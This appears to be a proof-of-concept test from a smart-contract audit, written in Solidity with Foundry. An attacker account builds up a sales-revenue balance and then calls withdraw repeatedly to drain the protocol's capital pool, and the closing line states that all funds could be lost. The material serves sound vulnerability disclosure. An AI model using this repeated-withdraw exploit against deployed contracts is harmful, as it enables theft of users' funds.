function test_withdrawVulnerability() public {
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1_000_000,
1_000_000 * 1e18,
10001,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address attacker = makeAddr("attacker");
deal(address(mockUSDCToken), attacker, 2_500 * 1e18);
uint256 attacker_initialUSDCBalance = mockUSDCToken.balanceOf(attacker);
uint256 capitalPool_initialUSDCBalance = mockUSDCToken.balanceOf(address(capitalPool));
vm.startPrank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
capitalPool.approve(address(mockUSDCToken));
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1_000,
1_000 * 1e18,
10001,
0,
OfferType.Ask,
OfferSettleType.Protected
)
);
address attackerOfferAddr = GenerateAddress.generateOfferAddress(1);
preMarktes.createTaker(attackerOfferAddr, 1_000);
uint256 attacker_tokenManagerBalance = tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console2.log("Attacker's SalesRevenue balance in TokenManager: %s", attacker_tokenManagerBalance);
assert(attacker_tokenManagerBalance != 0);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
uint256 attacker_finalUSDCBalance = mockUSDCToken.balanceOf(attacker);
uint256 capitalPool_finalUSDCBalance = mockUSDCToken.balanceOf(address(capitalPool));
assert(attacker_finalUSDCBalance > attacker_initialUSDCBalance);
assert(capitalPool_finalUSDCBalance < capitalPool_initialUSDCBalance);
}
Potentially, all of the protocol funds can be drained.